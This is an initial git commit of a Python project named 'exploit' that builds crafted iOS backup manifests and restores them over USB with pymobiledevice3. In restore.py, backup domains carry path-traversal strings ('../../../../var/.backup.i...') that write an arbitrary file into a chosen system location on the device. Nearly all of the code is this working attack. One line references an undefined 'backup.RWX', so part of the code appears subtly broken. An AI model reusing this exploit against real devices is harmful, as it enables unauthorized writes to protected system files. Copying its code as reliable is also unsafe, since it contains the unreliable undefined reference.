Initial commit

This commit is contained in:
leminlimez
2024-09-02 17:20:03 -04:00
commit bf1b47eed2
18 changed files with 989 additions and 0 deletions

1
exploit/__init__.py Normal file
View File

@@ -0,0 +1 @@
from . import backup

Binary file not shown.

Binary file not shown.

Binary file not shown.

Binary file not shown.

185
exploit/backup.py Normal file
View File

@@ -0,0 +1,185 @@
from dataclasses import dataclass
from datetime import datetime
import plistlib
from pathlib import Path
from base64 import b64decode
from hashlib import sha1
from . import mbdb
from .mbdb import _FileMode
from random import randbytes
from typing import Optional
# RWX:RX:RX
DEFAULT = _FileMode.S_IRUSR | _FileMode.S_IWUSR | _FileMode.S_IXUSR | _FileMode.S_IRGRP | _FileMode.S_IXGRP | _FileMode.S_IROTH | _FileMode.S_IXOTH
@dataclass
class BackupFile:
path: str
domain: str
def to_record(self) -> mbdb.MbdbRecord:
raise NotImplementedError()
@dataclass
class ConcreteFile(BackupFile):
contents: bytes
owner: int = 0
group: int = 0
inode: Optional[int] = None
mode: _FileMode = DEFAULT
def to_record(self) -> mbdb.MbdbRecord:
if self.inode is None:
self.inode = int.from_bytes(randbytes(8), "big")
return mbdb.MbdbRecord(
domain=self.domain,
filename=self.path,
link="",
hash=sha1(self.contents).digest(),
key=b"",
mode=self.mode | _FileMode.S_IFREG,
#unknown2=0,
#unknown3=0,
inode=self.inode,
user_id=self.owner,
group_id=self.group,
mtime=int(datetime.now().timestamp()),
atime=int(datetime.now().timestamp()),
ctime=int(datetime.now().timestamp()),
size=len(self.contents),
flags=4,
properties=[]
)
@dataclass
class Directory(BackupFile):
owner: int = 0
group: int = 0
mode: _FileMode = DEFAULT
def to_record(self) -> mbdb.MbdbRecord:
return mbdb.MbdbRecord(
domain=self.domain,
filename=self.path,
link="",
hash=b"",
key=b"",
mode=self.mode | _FileMode.S_IFDIR,
#unknown2=0,
#unknown3=0,
inode=0, # inode is not respected for directories
user_id=self.owner,
group_id=self.group,
mtime=int(datetime.now().timestamp()),
atime=int(datetime.now().timestamp()),
ctime=int(datetime.now().timestamp()),
size=0,
flags=4,
properties=[]
)
@dataclass
class SymbolicLink(BackupFile):
target: str
owner: int = 0
group: int = 0
inode: Optional[int] = None
mode: _FileMode = DEFAULT
def to_record(self) -> mbdb.MbdbRecord:
if self.inode is None:
self.inode = int.from_bytes(randbytes(8), "big")
return mbdb.MbdbRecord(
domain=self.domain,
filename=self.path,
link=self.target,
hash=b"",
key=b"",
mode=self.mode | _FileMode.S_IFLNK,
#unknown2=0,
#unknown3=0,
inode=self.inode,
user_id=self.owner,
group_id=self.group,
mtime=int(datetime.now().timestamp()),
atime=int(datetime.now().timestamp()),
ctime=int(datetime.now().timestamp()),
size=0,
flags=4,
properties=[]
)
@dataclass
class Backup:
files: list[BackupFile]
def write_to_directory(self, directory: Path):
for file in self.files:
if isinstance(file, ConcreteFile):
#print("Writing", file.path, "to", directory / sha1((file.domain + "-" + file.path).encode()).digest().hex())
with open(directory / sha1((file.domain + "-" + file.path).encode()).digest().hex(), "wb") as f:
f.write(file.contents)
with open(directory / "Manifest.mbdb", "wb") as f:
f.write(self.generate_manifest_db().to_bytes())
with open(directory / "Status.plist", "wb") as f:
f.write(self.generate_status())
with open(directory / "Manifest.plist", "wb") as f:
f.write(self.generate_manifest())
with open(directory / "Info.plist", "wb") as f:
f.write(plistlib.dumps({}))
def generate_manifest_db(self): # Manifest.mbdb
records = []
for file in self.files:
records.append(file.to_record())
return mbdb.Mbdb(records=records)
def generate_status(self) -> bytes: # Status.plist
return plistlib.dumps({
"BackupState": "new",
"Date": datetime.fromisoformat("1970-01-01T00:00:00+00:00"),
"IsFullBackup": False,
"SnapshotState": "finished",
"UUID": "00000000-0000-0000-0000-000000000000",
"Version": "2.4"
})
def generate_manifest(self) -> bytes: # Manifest.plist
return plistlib.dumps({
"BackupKeyBag": b64decode("""
VkVSUwAAAAQAAAAFVFlQRQAAAAQAAAABVVVJRAAAABDud41d1b9NBICR1BH9JfVtSE1D
SwAAACgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAV1JBUAAA
AAQAAAAAU0FMVAAAABRY5Ne2bthGQ5rf4O3gikep1e6tZUlURVIAAAAEAAAnEFVVSUQA
AAAQB7R8awiGR9aba1UuVahGPENMQVMAAAAEAAAAAVdSQVAAAAAEAAAAAktUWVAAAAAE
AAAAAFdQS1kAAAAoN3kQAJloFg+ukEUY+v5P+dhc/Welw/oucsyS40UBh67ZHef5ZMk9
UVVVSUQAAAAQgd0cg0hSTgaxR3PVUbcEkUNMQVMAAAAEAAAAAldSQVAAAAAEAAAAAktU
WVAAAAAEAAAAAFdQS1kAAAAoMiQTXx0SJlyrGJzdKZQ+SfL124w+2Tf/3d1R2i9yNj9z
ZCHNJhnorVVVSUQAAAAQf7JFQiBOS12JDD7qwKNTSkNMQVMAAAAEAAAAA1dSQVAAAAAE
AAAAAktUWVAAAAAEAAAAAFdQS1kAAAAoSEelorROJA46ZUdwDHhMKiRguQyqHukotrxh
jIfqiZ5ESBXX9txi51VVSUQAAAAQfF0G/837QLq01xH9+66vx0NMQVMAAAAEAAAABFdS
QVAAAAAEAAAAAktUWVAAAAAEAAAAAFdQS1kAAAAol0BvFhd5bu4Hr75XqzNf4g0fMqZA
ie6OxI+x/pgm6Y95XW17N+ZIDVVVSUQAAAAQimkT2dp1QeadMu1KhJKNTUNMQVMAAAAE
AAAABVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo2N2DZarQ6GPoWRgTiy/t
djKArOqTaH0tPSG9KLbIjGTOcLodhx23xFVVSUQAAAAQQV37JVZHQFiKpoNiGmT6+ENM
QVMAAAAEAAAABldSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAofe2QSvDC2cV7
Etk4fSBbgqDx5ne/z1VHwmJ6NdVrTyWi80Sy869DM1VVSUQAAAAQFzkdH+VgSOmTj3yE
cfWmMUNMQVMAAAAEAAAAB1dSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kAAAAo7kLY
PQ/DnHBERGpaz37eyntIX/XzovsS0mpHW3SoHvrb9RBgOB+WblVVSUQAAAAQEBpgKOz9
Tni8F9kmSXd0sENMQVMAAAAEAAAACFdSQVAAAAAEAAAAA0tUWVAAAAAEAAAAAFdQS1kA
AAAo5mxVoyNFgPMzphYhm1VG8Fhsin/xX+r6mCd9gByF5SxeolAIT/ICF1VVSUQAAAAQ
rfKB2uPSQtWh82yx6w4BoUNMQVMAAAAEAAAACVdSQVAAAAAEAAAAA0tUWVAAAAAEAAAA
AFdQS1kAAAAo5iayZBwcRa1c1MMx7vh6lOYux3oDI/bdxFCW1WHCQR/Ub1MOv+QaYFVV
SUQAAAAQiLXvK3qvQza/mea5inss/0NMQVMAAAAEAAAACldSQVAAAAAEAAAAA0tUWVAA
AAAEAAAAAFdQS1kAAAAoD2wHX7KriEe1E31z7SQ7/+AVymcpARMYnQgegtZD0Mq2U55u
xwNr2FVVSUQAAAAQ/Q9feZxLS++qSe/a4emRRENMQVMAAAAEAAAAC1dSQVAAAAAEAAAA
A0tUWVAAAAAEAAAAAFdQS1kAAAAocYda2jyYzzSKggRPw/qgh6QPESlkZedgDUKpTr4Z
Z8FDgd7YoALY1g=="""),
"Lockdown": {},
"SystemDomainsVersion": "20.0",
"Version": "9.1"
})

168
exploit/mbdb.py Normal file
View File

@@ -0,0 +1,168 @@
from dataclasses import dataclass
from io import BytesIO
# Mode bitfield
from enum import IntFlag
class _FileMode(IntFlag):
S_IFMT = 0o0170000
S_IFIFO = 0o0010000
S_IFCHR = 0o0020000
S_IFDIR = 0o0040000
S_IFBLK = 0o0060000
S_IFREG = 0o0100000
S_IFLNK = 0o0120000
S_IFSOCK = 0o0140000
#S_IRWXU = 0o0000700
S_IRUSR = 0o0000400
S_IWUSR = 0o0000200
S_IXUSR = 0o0000100
#S_IRWXG = 0o0000070
S_IRGRP = 0o0000040
S_IWGRP = 0o0000020
S_IXGRP = 0o0000010
#S_IRWXO = 0o0000007
S_IROTH = 0o0000004
S_IWOTH = 0o0000002
S_IXOTH = 0o0000001
S_ISUID = 0o0004000
S_ISGID = 0o0002000
S_ISVTX = 0o0001000
@dataclass
class MbdbRecord:
domain: str
filename: str
link: str
hash: bytes
key: bytes
mode: _FileMode
inode: int
user_id: int
group_id: int
mtime: int
atime: int
ctime: int
size: int
flags: int
properties: list
@classmethod
def from_stream(cls, d: BytesIO):
#d = BytesIO(data)
domain_len = int.from_bytes(d.read(2), "big")
domain = d.read(domain_len).decode("utf-8")
filename_len = int.from_bytes(d.read(2), "big")
filename = d.read(filename_len).decode("utf-8")
link_len = int.from_bytes(d.read(2), "big")
link = d.read(link_len).decode("utf-8") if link_len != 0xffff else ""
hash_len = int.from_bytes(d.read(2), "big")
hash = d.read(hash_len) if hash_len != 0xffff else b""
key_len = int.from_bytes(d.read(2), "big")
key = d.read(key_len) if key_len != 0xffff else b""
mode = _FileMode(int.from_bytes(d.read(2), "big"))
#unknown2 = int.from_bytes(d.read(4), "big")
#unknown3 = int.from_bytes(d.read(4), "big")
inode = int.from_bytes(d.read(8), "big")
user_id = int.from_bytes(d.read(4), "big")
group_id = int.from_bytes(d.read(4), "big")
mtime = int.from_bytes(d.read(4), "big")
atime = int.from_bytes(d.read(4), "big")
ctime = int.from_bytes(d.read(4), "big")
size = int.from_bytes(d.read(8), "big")
flags = int.from_bytes(d.read(1), "big")
properties_count = int.from_bytes(d.read(1), "big")
properties = []
for _ in range(properties_count):
name_len = int.from_bytes(d.read(2), "big")
name = d.read(name_len).decode("utf-8") if name_len != 0xffff else ""
value_len = int.from_bytes(d.read(2), "big")
value = d.read(value_len).decode("utf-8") if value_len != 0xffff else ""
properties.append((name, value))
return cls(domain, filename, link, hash, key, mode, inode, user_id, group_id, mtime, atime, ctime, size, flags, properties)
def to_bytes(self) -> bytes:
d = BytesIO()
d.write(len(self.domain).to_bytes(2, "big"))
d.write(self.domain.encode("utf-8"))
d.write(len(self.filename).to_bytes(2, "big"))
d.write(self.filename.encode("utf-8"))
d.write(len(self.link).to_bytes(2, "big"))
d.write(self.link.encode("utf-8"))
d.write(len(self.hash).to_bytes(2, "big"))
d.write(self.hash)
d.write(len(self.key).to_bytes(2, "big"))
d.write(self.key)
d.write(self.mode.to_bytes(2, "big"))
#d.write(self.unknown2.to_bytes(4, "big"))
#d.write(self.unknown3.to_bytes(4, "big"))
d.write(self.inode.to_bytes(8, "big"))
d.write(self.user_id.to_bytes(4, "big"))
d.write(self.group_id.to_bytes(4, "big"))
d.write(self.mtime.to_bytes(4, "big"))
d.write(self.atime.to_bytes(4, "big"))
d.write(self.ctime.to_bytes(4, "big"))
d.write(self.size.to_bytes(8, "big"))
d.write(self.flags.to_bytes(1, "big"))
d.write(len(self.properties).to_bytes(1, "big"))
for name, value in self.properties:
d.write(len(name).to_bytes(2, "big"))
d.write(name.encode("utf-8"))
d.write(len(value).to_bytes(2, "big"))
d.write(value.encode("utf-8"))
return d.getvalue()
@dataclass
class Mbdb:
records: list[MbdbRecord]
@classmethod
def from_bytes(cls, data: bytes):
d = BytesIO(data)
if d.read(4) != b"mbdb":
raise ValueError("Invalid MBDB file")
if d.read(2) != b"\x05\x00":
raise ValueError("Invalid MBDB version")
records = []
while d.tell() < len(data):
records.append(MbdbRecord.from_stream(d))
return cls(records)
def to_bytes(self) -> bytes:
d = BytesIO()
d.write(b"mbdb")
d.write(b"\x05\x00")
for record in self.records:
d.write(record.to_bytes())
return d.getvalue()

31
exploit/restore.py Normal file
View File

@@ -0,0 +1,31 @@
from exploit import backup
from pymobiledevice3.lockdown import create_using_usbmux
from pymobiledevice3.services.mobilebackup2 import Mobilebackup2Service
from tempfile import TemporaryDirectory
from pathlib import Path
def restore_file(fp: str, restore_path: str, restore_name: str):
# open the file and read the contents
contents = open(fp, "rb").read()
# create the backup
back = backup.Backup(files=[
backup.Directory("", "RootDomain", owner=501, group=501),
backup.Directory("Library", "RootDomain", owner=501, group=501),
backup.Directory("Library/Preferences", "RootDomain", owner=501, group=501),
backup.ConcreteFile("Library/Preferences/Hello", "RootDomain", owner=501, group=501, contents=contents, mode=backup.RWX | backup._FileMode.S_IFREG),
backup.Directory("", f"SysContainerDomain-../../../../../../../../var/.backup.i{restore_path}", owner=501, group=501),
backup.ConcreteFile("", f"SysContainerDomain-../../../../../../../../var/.backup.i{restore_path}{restore_name}", owner=501, group=501, contents=contents),
backup.Directory("", "SysContainerDomain-../../../../../../../../var/.backup.i/var/root/Library/Preferences/Hello", owner=501, group=501),
])
# get a temporary dir to store the backup
with TemporaryDirectory() as backup_dir:
backup_dir_path = Path(backup_dir)
back.write_to_directory(backup_dir_path)
print(f"Backup written to {backup_dir}")
input("Press Enter to continue...")
lockdown = create_using_usbmux()
with Mobilebackup2Service(lockdown) as mb:
mb.restore(backup_dir, system=True, reboot=False, copy=False, source=".")